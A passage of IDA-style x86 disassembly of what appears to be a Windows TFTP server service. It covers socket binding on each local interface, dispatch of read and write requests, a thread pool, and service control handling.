		call	ds:GetLastError
		jmp	loc_100172C
sub_1001665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100188E(SOCKET s, HANDLE hEventObject, char)

sub_100188E	proc near		; CODE XREF: sub_100205A+D5p
					; sub_1002F31+2A8p ...

var_4		= dword	ptr -4
s		= dword	ptr  8
hEventObject	= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	3		; lNetworkEvents
		push	[ebp+hEventObject] ; hEventObject
		push	[ebp+s]		; s
		call	ds:WSAEventSelect	; WSAEventSelect
		test	eax, eax
		jz	short loc_10018AE
		call	ds:GetLastError
		xor	eax, eax
		jmp	short locret_10018D7
; ---------------------------------------------------------------------------


loc_10018AE:				; CODE XREF: sub_100188E+14j
		test	[ebp+arg_8], 1
		push	0
		push	0FFFFFFFFh
		push	[ebp+s]
		jz	short loc_10018C2
		push	offset loc_1001D74
		jmp	short loc_10018C7
; ---------------------------------------------------------------------------


loc_10018C2:				; CODE XREF: sub_100188E+2Bj
		push	offset loc_1001DDB


loc_10018C7:				; CODE XREF: sub_100188E+32j
		push	[ebp+hEventObject]
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:RtlRegisterWait	; RtlRegisterWait
		mov	eax, [ebp+var_4]

locret_10018D7:				; CODE XREF: sub_100188E+1Ej
		leave
		retn	0Ch
sub_100188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018DB	proc near		; CODE XREF: sub_1001665+1FEp

Memory		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:InitializeCriticalSection
		push	edi
		push	offset CriticalSection ; lpCriticalSection
		call	esi ; InitializeCriticalSection
		push	offset stru_1006020 ; lpCriticalSection
		call	esi ; InitializeCriticalSection
		mov	eax, offset dword_1006098
		mov	dword_100609C, eax
		mov	dword_1006098, eax
		mov	eax, offset Memory
		mov	dword_100603C, eax
		mov	Memory,	eax
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_1001FA6
		xor	esi, esi
		test	eax, eax
		jnz	short loc_1001957
		mov	eax, [ebp+Memory]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_100194F
		xor	edi, edi


loc_100192E:				; CODE XREF: sub_10018DB+72j
		mov	ecx, [eax+edi+4]
		cmp	ecx, esi
		jz	short loc_1001947
		cmp	ecx, 100007Fh
		jz	short loc_1001947
		push	ecx		; in
		call	sub_100205A
		mov	eax, [ebp+Memory]


loc_1001947:				; CODE XREF: sub_10018DB+59j
					; sub_10018DB+61j
		inc	ebx
		add	edi, 18h
		cmp	ebx, [eax]
		jb	short loc_100192E


loc_100194F:				; CODE XREF: sub_10018DB+4Fj
		push	eax		; Memory
		call	ds:free	; free
		pop	ecx


loc_1001957:				; CODE XREF: sub_10018DB+46j
		push	offset dword_10060A0
		call	ds:RtlCreateTimerQueue	; RtlCreateTimerQueue
		cmp	eax, esi
		jnz	loc_10019EB
		mov	eax, 0EA60h
		push	esi
		push	eax
		push	eax
		push	esi
		push	offset sub_10029BA
		push	offset dword_1006048
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		push	esi		; lpName
		push	esi		; bInitialState
		push	esi		; bManualReset
		push	esi		; lpEventAttributes
		mov	edi, eax
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	dword_1005DF8, eax
		jnz	short loc_10019A2
		mov	eax, edi
		jmp	short loc_10019EB
; ---------------------------------------------------------------------------


loc_10019A2:				; CODE XREF: sub_10018DB+C1j
		push	esi
		push	0FFFFFFFFh
		push	esi
		push	offset sub_1002219
		push	eax
		push	offset dword_1005DFC
		call	ds:RtlRegisterWait	; RtlRegisterWait
		cmp	eax, esi
		jnz	short loc_10019EB
		mov	ecx, offset overlapped
		xor	eax, eax
		mov	edi, ecx
		push	ecx		; overlapped
		stosd
		stosd
		stosd
		stosd
		stosd
		mov	eax, dword_1005DF8
		push	offset Handle	; Handle
		mov	overlapped.hEvent, eax
		call	NotifyAddrChange	; NotifyAddrChange
		cmp	eax, esi
		jz	short loc_10019E9
		cmp	eax, 3E5h
		jnz	short loc_10019EB


loc_10019E9:				; CODE XREF: sub_10018DB+105j
		xor	eax, eax


loc_10019EB:				; CODE XREF: sub_10018DB+89j
					; sub_10018DB+C5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019F0	proc near		; CODE XREF: sub_1001665+203p
		mov	eax, offset lpMem
		push	offset stru_1006060 ; lpCriticalSection
		mov	dword_100607C, eax
		mov	lpMem, eax
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		push	0		; dwMaximumSize
		push	0EFD1Ch		; dwInitialSize
		push	0		; flOptions
		call	ds:HeapCreate	; HeapCreate
		mov	hHeap, eax
		retn
sub_10019F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A1F	proc near		; CODE XREF: sub_10029BA+79p
		push	ebx
		push	esi
		mov	ebx, offset stru_1006060
		push	edi
		push	ebx		; lpCriticalSection
		xor	esi, esi
		call	ds:EnterCriticalSection
		mov	eax, dword_1005DF0
		sub	eax, dword_1005DF4
		cmp	eax, 0Ah
		jbe	short loc_1001A46
		shr	eax, 1
		mov	esi, eax
		jmp	short loc_1001A4E
; ---------------------------------------------------------------------------


loc_1001A46:				; CODE XREF: sub_1001A1F+1Fj
		cmp	eax, 3
		jbe	short loc_1001A4E
		push	2
		pop	esi


loc_1001A4E:				; CODE XREF: sub_1001A1F+25j
					; sub_1001A1F+2Aj
		test	esi, esi
		jbe	short loc_1001A86
		mov	edi, esi


loc_1001A54:				; CODE XREF: sub_1001A1F+65j
		mov	eax, lpMem
		mov	esi, eax
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		push	esi		; lpMem
		push	0		; dwFlags
		push	hHeap		; hHeap
		call	ds:HeapFree
		dec	dword_1005DF0
		dec	edi
		jnz	short loc_1001A54


loc_1001A86:				; CODE XREF: sub_1001A1F+31j
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001A1F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001A91(SOCKET s, int)

sub_1001A91	proc near		; CODE XREF: .text:01001DCCp
					; .text:01001DE1p

dwFlags		= dword	ptr -10004h
argp		= dword	ptr -10000h
Fromlen		= dword	ptr -0FFFCh
var_FFF8	= dword	ptr -0FFF8h
Buffers		= _WSABUF ptr -0FFF4h
Handles		= dword	ptr -0FFECh
var_FFE8	= dword	ptr -0FFE8h
Overlapped	= _OVERLAPPED ptr -0FFE4h
to		= sockaddr ptr -0FFD0h
var_FFC0	= dword	ptr -0FFC0h
s		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, 10004h
		call	_chkstk	; _chkstk
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	[esp+10014h+dwFlags], ebp
		mov	ebx, offset stru_1006060


loc_1001AAA:				; CODE XREF: sub_1001A91+291j
		lea	eax, [esp+10014h+argp]
		push	eax		; argp
		push	4004667Fh	; cmd
		push	[esp+1001Ch+s]	; s
		call	ds:ioctlsocket	; ioctlsocket
		cmp	eax, ebp
		jnz	loc_1001D27
		cmp	[esp+10014h+argp], ebp
		jz	loc_1001D65
		xor	eax, eax
		lea	edi, [esp+10014h+Overlapped]
		stosd
		stosd
		stosd
		stosd
		push	ebx		; lpCriticalSection
		stosd
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		inc	dword_1005DF4
		cmp	eax, offset lpMem
		jz	short loc_1001B11
		mov	ecx, [eax]
		mov	esi, eax
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h] ; hEvent
		call	ds:ResetEvent	; ResetEvent
		mov	eax, [esi+30h]
		jmp	short loc_1001B41
; ---------------------------------------------------------------------------


loc_1001B11:				; CODE XREF: sub_1001A91+64j
		inc	dword_1005DF0
		push	2FF6Ch		; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		call	ds:HeapAlloc
		mov	esi, eax
		cmp	esi, ebp
		jz	loc_1001D5E
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	[esi+30h], eax


loc_1001B41:				; CODE XREF: sub_1001A91+7Ej
		push	ebx		; lpCriticalSection
		mov	[esp+10018h+Overlapped.hEvent],	eax
		call	ds:LeaveCriticalSection
		lea	ebp, [esi+34h]
		mov	ecx, 3FEFh
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		stosb
		mov	eax, [esp+10014h+arg_4]
		mov	[esp+10014h+Buffers.buf], ebp
		mov	[esp+10014h+Buffers.len], 0FFBDh
		mov	[esp+10014h+Fromlen], 10h
		mov	[esi+1Ch], eax
		lea	eax, [esp+10014h+Overlapped]
		push	0		; lpCompletionRoutine
		push	eax		; lpOverlapped
		lea	eax, [esp+1001Ch+Fromlen]
		lea	edi, [esi+2Ch]
		push	eax		; lpFromlen
		lea	eax, [esi+0Ch]
		push	eax		; lpFrom
		lea	eax, [esp+10024h+dwFlags]
		push	eax		; lpFlags
		push	edi		; lpNumberOfBytesRecvd
		lea	eax, [esp+1002Ch+Buffers]
		push	1		; dwBufferCount
		push	eax		; lpBuffers
		push	[esp+10034h+s]	; s
		call	ds:WSARecvFrom	; WSARecvFrom
		mov	[esp+10014h+var_FFF8], eax
		mov	ax, [esi+0Eh]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		cmp	[esp+10014h+var_FFF8], 0
		jz	short loc_1001C34
		call	ds:WSAGetLastError	; WSAGetLastError
		cmp	eax, 3E5h
		jnz	loc_1001D2F
		mov	eax, hHandle
		push	0FFFFFFFFh	; dwMilliseconds
		mov	[esp+10018h+Handles], eax
		mov	eax, [esp+10018h+Overlapped.hEvent]
		mov	[esp+10018h+var_FFE8], eax
		lea	eax, [esp+10018h+Handles]
		push	0		; bWaitAll
		push	eax		; lpHandles
		push	2		; nCount
		call	ds:WaitForMultipleObjects	; WaitForMultipleObjects
		cmp	eax, 0FFFFFFFFh
		jz	loc_1001D2F
		cmp	eax, 102h
		jz	loc_1001D2F
		test	eax, eax
		jz	loc_1001D2F
		lea	eax, [esp+10014h+dwFlags]
		push	eax		; lpdwFlags
		push	0		; fWait
		lea	eax, [esp+1001Ch+Overlapped]
		push	edi		; lpcbTransfer
		push	eax		; lpOverlapped
		push	[esp+10024h+s]	; s
		call	ds:WSAGetOverlappedResult	; WSAGetOverlappedResult
		test	eax, eax
		jnz	short loc_1001C34
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C34:				; CODE XREF: sub_1001A91+129j
					; sub_1001A91+196j
		push	0		; dwMilliseconds
		push	hHandle		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jz	loc_1001D2F
		cmp	dword ptr [edi], 2
		jl	loc_1001CEA
		xor	edi, edi
		cmp	[esp+10014h+arg_4], edi
		jz	short loc_1001CDA
		mov	ax, [ebp+0]
		push	eax		; hostshort
		call	ds:htons	; htons
		movzx	ecx, ax
		test	ecx, ecx
		jle	short loc_1001CB8
		cmp	ecx, 2
		jle	short loc_1001C81
		cmp	ecx, 4
		jz	short loc_1001CB8
		cmp	ecx, 5
		jnz	short loc_1001CB8
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C81:				; CODE XREF: sub_1001A91+1E2j
		cmp	ax, 1
		jnz	short loc_1001C94
		inc	dword ptr Time+4
		mov	edi, offset sub_1002F31
		jmp	short loc_1001CA5
; ---------------------------------------------------------------------------


loc_1001C94:				; CODE XREF: sub_1001A91+1F4j
		cmp	ax, 2
		jnz	short loc_1001CA5
		inc	dword_10060C8
		mov	edi, offset sub_100333A


loc_1001CA5:				; CODE XREF: sub_1001A91+201j
					; sub_1001A91+207j
		mov	eax, [esp+10014h+s]
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_1001CEA
		push	esi
		call	edi ; sub_1002F31
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CB8:				; CODE XREF: sub_1001A91+1DDj
					; sub_1001A91+1E7j ...
		push	0		; int
		push	4		; hostshort
		push	[esp+1001Ch+s]	; s
		inc	dword_10060CC
		lea	eax, [esp+10020h+var_FFC0]
		push	eax		; int
		lea	eax, [esp+10024h+to]
		push	eax		; to
		call	sub_100230A
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CDA:				; CODE XREF: sub_1001A91+1CBj
		mov	eax, [esp+10014h+s]
		push	esi
		mov	[esi+8], eax
		call	sub_1002EC8


loc_1001CEA:				; CODE XREF: sub_1001A91+19Ej
					; sub_1001A91+1BCj ...
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		mov	dword ptr [esi+4], offset lpMem
		mov	[esi], eax
		push	offset Addend	; lpAddend
		mov	[eax+4], esi
		mov	lpMem, esi
		call	ds:InterlockedIncrement	; InterlockedIncrement
		dec	dword_1005DF4
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	ebp, ebp
		jmp	loc_1001AAA
; ---------------------------------------------------------------------------


loc_1001D27:				; CODE XREF: sub_1001A91+32j
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1001D65
; ---------------------------------------------------------------------------


loc_1001D2F:				; CODE XREF: sub_1001A91+136j
					; sub_1001A91+161j ...
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, lpMem
		mov	dword ptr [esi+4], offset lpMem
		mov	[esi], eax
		push	offset Addend	; lpAddend
		mov	[eax+4], esi
		mov	lpMem, esi
		call	ds:InterlockedIncrement	; InterlockedIncrement
		dec	dword_1005DF4


loc_1001D5E:				; CODE XREF: sub_1001A91+9Dj
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1001D65:				; CODE XREF: sub_1001A91+3Cj
					; sub_1001A91+29Cj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10004h
		retn	8
sub_1001A91	endp

; ---------------------------------------------------------------------------


loc_1001D74:				; DATA XREF: sub_100188E+2Do
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, offset stru_1006020
		push	edi
		mov	edi, ds:TryEnterCriticalSection
		push	esi
		xor	ebp, ebp
		xor	ebx, ebx
		call	edi ; TryEnterCriticalSection


loc_1001D8B:				; CODE XREF: .text:01001DA1j
		test	eax, eax
		jnz	short loc_1001DA7
		push	0C8h
		call	ds:Sleep	; Sleep
		push	esi
		call	edi ; TryEnterCriticalSection
		inc	ebx
		cmp	ebx, 7Dh
		jb	short loc_1001D8B
		test	eax, eax
		jz	short loc_1001DD1


loc_1001DA7:				; CODE XREF: .text:01001D8Dj
		lea	eax, [esp+10h]
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_10021E5
		test	eax, eax
		jnz	short loc_1001DC0
		mov	eax, [esp+10h]
		mov	ebp, [eax+0Ch]


loc_1001DC0:				; CODE XREF: .text:01001DB7j
		push	esi
		call	ds:LeaveCriticalSection
		push	ebp
		push	dword ptr [esp+1Ch]
		call	sub_1001A91


loc_1001DD1:				; CODE XREF: .text:01001DA5j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1001DDB:				; DATA XREF: sub_100188E:loc_10018C2o
		push	0
		push	dword ptr [esp+8]
		call	sub_1001A91
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __stdcall HandlerProc(DWORD)

HandlerProc	proc near		; DATA XREF: sub_1001665+6o

Time		= qword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+Time]
		push	eax		; Time
		call	ds:time	; time
		inc	ServiceStatus.dwCheckPoint
		pop	ecx
		lea	eax, [ebp+Time]
		push	eax		; Time
		call	ds:ctime	; ctime
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	eax
		jz	short loc_1001E68
		dec	eax
		jz	short loc_1001E35
		dec	eax
		jz	short loc_1001E1D
		dec	eax
		dec	eax
		jz	short loc_1001E68
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E1D:				; CODE XREF: HandlerProc+2Aj
		push	hThread		; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	ServiceStatus.dwCurrentState, 4
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E35:				; CODE XREF: HandlerProc+27j
		push	hThread		; hThread
		call	ds:SuspendThread	; SuspendThread
		mov	ServiceStatus.dwCurrentState, 7


loc_1001E4B:				; CODE XREF: HandlerProc+30j
					; HandlerProc+48j
		push	offset ServiceStatus ; lpServiceStatus
		push	hServiceStatus	; hServiceStatus
		call	ds:SetServiceStatus	; SetServiceStatus
		test	eax, eax
		jnz	short locret_1001E6F
		call	ds:GetLastError
		jmp	short locret_1001E6F
; ---------------------------------------------------------------------------


loc_1001E68:				; CODE XREF: HandlerProc+24j
					; HandlerProc+2Ej
		push	0
		call	sub_1001E73

locret_1001E6F:				; CODE XREF: HandlerProc+73j
					; HandlerProc+7Bj
		leave
		retn	4
HandlerProc	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001E73	proc near		; CODE XREF: sub_1001665+B9p
					; HandlerProc+7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:SetServiceStatus
		push	edi
		mov	edi, offset ServiceStatus
		push	edi		; lpServiceStatus
		mov	ServiceStatus.dwCurrentState, 3
		push	hServiceStatus	; hServiceStatus
		call	esi ; SetServiceStatus
		mov	ebp, ds:GetLastError
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_1001EA3
		call	ebp ; GetLastError


loc_1001EA3:				; CODE XREF: sub_1001E73+2Cj
		push	hHandle		; hEvent
		call	ds:SetEvent	; SetEvent
		mov	ServiceStatus.dwCurrentState, 1
		mov	ServiceStatus.dwCheckPoint, ebx
		mov	eax, [esp+10h+arg_0]
		mov	ServiceStatus.dwWaitHint, ebx
		cmp	eax, ebx
		jnz	short loc_1001EDB
		mov	ServiceStatus.dwWin32ExitCode, ebx
		mov	ServiceStatus.dwServiceSpecificExitCode, ebx
		jmp	short loc_1001EFD
; ---------------------------------------------------------------------------


loc_1001EDB:				; CODE XREF: sub_1001E73+58j
		cmp	eax, 834h
		jb	short loc_1001EF3
		cmp	eax, 16A7h
		mov	ServiceStatus.dwWin32ExitCode, 42Ah
		jbe	short loc_1001EF8


loc_1001EF3:				; CODE XREF: sub_1001E73+6Dj
		mov	ServiceStatus.dwWin32ExitCode, eax


loc_1001EF8:				; CODE XREF: sub_1001E73+7Ej
		mov	ServiceStatus.dwServiceSpecificExitCode, eax


loc_1001EFD:				; CODE XREF: sub_1001E73+66j
		push	edi		; lpServiceStatus
		push	hServiceStatus	; hServiceStatus
		call	esi ; SetServiceStatus
		cmp	eax, ebx
		jnz	short loc_1001F0C
		call	ebp ; GetLastError


loc_1001F0C:				; CODE XREF: sub_1001E73+95j
		mov	eax, hObject
		mov	esi, ds:CloseHandle
		cmp	eax, ebx
		jz	short loc_1001F24
		push	eax		; hObject
		call	esi ; CloseHandle
		mov	hObject, ebx


loc_1001F24:				; CODE XREF: sub_1001E73+A6j
		mov	eax, hHandle
		cmp	eax, ebx
		jz	short loc_1001F36
		push	eax		; hObject
		call	esi ; CloseHandle
		mov	hHandle, ebx


loc_1001F36:				; CODE XREF: sub_1001E73+B8j
		mov	eax, File
		cmp	eax, ebx
		jz	short loc_1001F4D
		push	eax		; File
		call	ds:fclose	; fclose
		pop	ecx
		mov	File, ebx


loc_1001F4D:				; CODE XREF: sub_1001E73+CAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_1001E73	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001F54(void *Memory)

sub_1001F54	proc near		; CODE XREF: sub_1002182+1Cp
					; sub_1002219+B7p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:RtlDeregisterWaitEx	; RtlDeregisterWaitEx
		push	dword ptr [esi+8] ; s
		call	ds:closesocket	; closesocket
		push	dword ptr [esi+14h] ; hEvent
		call	ds:WSACloseEvent	; WSACloseEvent
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jnz	short loc_1001F90
		mov	eax, Memory
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		jmp	short loc_1001F9A
; ---------------------------------------------------------------------------


loc_1001F90:				; CODE XREF: sub_1001F54+29j
		mov	[ecx], eax
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx


loc_1001F9A:				; CODE XREF: sub_1001F54+3Aj
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		pop	esi
		retn	4
sub_1001F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001FA6	proc near		; CODE XREF: sub_10018DB+3Dp
					; sub_1002219+1Dp

var_8		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+Size]
		push	edi		; bOrder
		push	eax		; pdwSize
		push	edi		; pIpAddrTable
		mov	[ebp+Size], edi
		mov	[ebp+var_8], 0C0000017h
		mov	[ebx], edi
		call	GetIpAddrTable	; GetIpAddrTable
		cmp	eax, edi
		jz	short loc_1001FD3
		cmp	eax, 7Ah
		jnz	short loc_100201A


loc_1001FD3:				; CODE XREF: sub_1001FA6+26j
		push	[ebp+Size]	; Size
		call	ds:malloc	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_100201A


loc_1001FE3:				; CODE XREF: sub_1001FA6+63j
		lea	eax, [ebp+Size]
		push	edi		; bOrder
		push	eax		; pdwSize
		push	esi		; pIpAddrTable
		call	GetIpAddrTable	; GetIpAddrTable
		cmp	eax, edi
		jz	short loc_1002015
		cmp	eax, 7Ah
		jnz	short loc_100201A
		push	[ebp+Size]	; NewSize
		push	esi		; Memory
		call	ds:realloc	; realloc
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_100200B
		mov	esi, eax
		jmp	short loc_1001FE3
; ---------------------------------------------------------------------------


loc_100200B:				; CODE XREF: sub_1001FA6+5Fj
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		jmp	short loc_100201A
; ---------------------------------------------------------------------------


loc_1002015:				; CODE XREF: sub_1001FA6+4Aj
		mov	[ebp+var_8], edi
		mov	[ebx], esi


loc_100201A:				; CODE XREF: sub_1001FA6+2Bj
					; sub_1001FA6+3Bj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_1001FA6	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002024(struct in_addr in, int)

sub_1002024	proc near		; CODE XREF: sub_100205A+B7p

in		= in_addr ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [esp+in.S_un]	; in
		call	ds:inet_ntoa	; inet_ntoa
		test	eax, eax
		jz	short locret_1002057
		push	edi
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	esi
		mov	eax, ecx
		mov	esi, edi
		mov	edi, [esp+8+arg_4]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		pop	edi

locret_1002057:				; CODE XREF: sub_1002024+Cj
		retn	8
sub_1002024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100205A(struct in_addr in)

sub_100205A	proc near		; CODE XREF: sub_10018DB+64p
					; sub_1002219+65p ...

var_28		= dword	ptr -28h
name		= sockaddr ptr -14h
var_4		= dword	ptr -4
in		= in_addr ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi


loc_1002068:				; CODE XREF: sub_100205A+5Dj
		push	1		; dwFlags
		push	esi		; g
		push	esi		; lpProtocolInfo
		push	esi		; protocol
		push	2		; type
		push	2		; af
		call	ds:WSASocketA	; WSASocketA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100209D
		xor	eax, eax
		lea	edi, [ebp+name]
		stosd
		stosd
		stosd
		push	offset proto	; "udp"
		push	offset name	; "tftp"
		stosd
		call	ds:getservbyname	; getservbyname
		cmp	eax, esi
		jnz	short loc_10020B9
		jmp	short loc_10020B1
; ---------------------------------------------------------------------------


loc_100209D:				; CODE XREF: sub_100205A+22j
		call	ds:WSAGetLastError	; WSAGetLastError
		push	2EEh		; dwMilliseconds
		call	ds:Sleep	; Sleep
		inc	[ebp+var_4]


loc_10020B1:				; CODE XREF: sub_100205A+41j
		cmp	[ebp+var_4], 0Ah
		jge	short loc_10020E6
		jmp	short loc_1002068
; ---------------------------------------------------------------------------


loc_10020B9:				; CODE XREF: sub_100205A+3Fj
		mov	[ebp+name.sa_family], 2
		mov	ax, [eax+8]
		mov	word ptr [ebp+name.sa_data], ax
		mov	eax, dword ptr [ebp+in.S_un]
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	10h		; namelen
		push	eax		; name
		push	ebx		; s
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_10020E6
		call	ds:GetLastError
		jmp	short loc_100215E
; ---------------------------------------------------------------------------


loc_10020E6:				; CODE XREF: sub_100205A+5Bj
					; sub_100205A+82j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100215E
		push	20h		; Size
		call	ds:malloc	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_100213D
		push	8
		xor	eax, eax
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	eax, dword ptr [ebp+in.S_un]
		lea	ecx, [ebp+var_28]
		push	ecx		; int
		push	eax		; in
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		call	sub_1002024
		xor	eax, eax
		push	eax		; lpName
		push	eax		; bInitialState
		push	eax		; bManualReset
		push	eax		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	edi, eax
		test	edi, edi
		jz	short loc_1002140
		push	1		; char
		push	edi		; hEventObject
		push	ebx		; s
		mov	[esi+14h], edi
		call	sub_100188E
		test	eax, eax
		mov	[esi+10h], eax
		jnz	short loc_1002162
		jmp	short loc_1002140
; ---------------------------------------------------------------------------


loc_100213D:				; CODE XREF: sub_100205A+9Ej
		mov	edi, dword ptr [ebp+in.S_un]


loc_1002140:				; CODE XREF: sub_100205A+CCj
					; sub_100205A+E1j
		push	ebx		; s
		call	ds:closesocket	; closesocket
		test	edi, edi
		jz	short loc_1002152
		push	edi		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1002152:				; CODE XREF: sub_100205A+EFj
		test	esi, esi
		jz	short loc_100215E
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx


loc_100215E:				; CODE XREF: sub_100205A+8Aj
					; sub_100205A+8Fj ...
		xor	eax, eax
		jmp	short loc_100217B
; ---------------------------------------------------------------------------


loc_1002162:				; CODE XREF: sub_100205A+DFj
		mov	eax, Memory
		mov	dword ptr [esi+4], offset Memory
		mov	[esi], eax
		mov	[eax+4], esi
		mov	Memory,	esi
		mov	eax, esi


loc_100217B:				; CODE XREF: sub_100205A+106j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_100205A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002182	proc near		; CODE XREF: sub_1002219:loc_1002298p
		mov	ecx, Memory
		push	esi
		mov	esi, offset Memory
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_10021B3
		push	edi


loc_1002195:				; CODE XREF: sub_1002182+2Ej
		cmp	dword ptr [ecx+18h], 0
		mov	edi, [ecx]
		jnz	short loc_10021A8
		push	ecx		; Memory
		call	sub_1001F54
		push	1
		pop	eax
		jmp	short loc_10021AC
; ---------------------------------------------------------------------------


loc_10021A8:				; CODE XREF: sub_1002182+19j
		and	dword ptr [ecx+18h], 0


loc_10021AC:				; CODE XREF: sub_1002182+24j
		cmp	edi, esi
		mov	ecx, edi
		jnz	short loc_1002195
		pop	edi


loc_10021B3:				; CODE XREF: sub_1002182+10j
		pop	esi
		retn
sub_1002182	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021B5	proc near		; CODE XREF: sub_1002219+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset Memory
		and	dword ptr [edx], 0
		mov	eax, Memory


loc_10021C7:				; CODE XREF: sub_10021B5+21j
		cmp	eax, ecx
		jz	short loc_10021DF
		mov	esi, [eax+0Ch]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_10021D8
		mov	eax, [eax]
		jmp	short loc_10021C7
; ---------------------------------------------------------------------------


loc_10021D8:				; CODE XREF: sub_10021B5+1Dj
		push	1
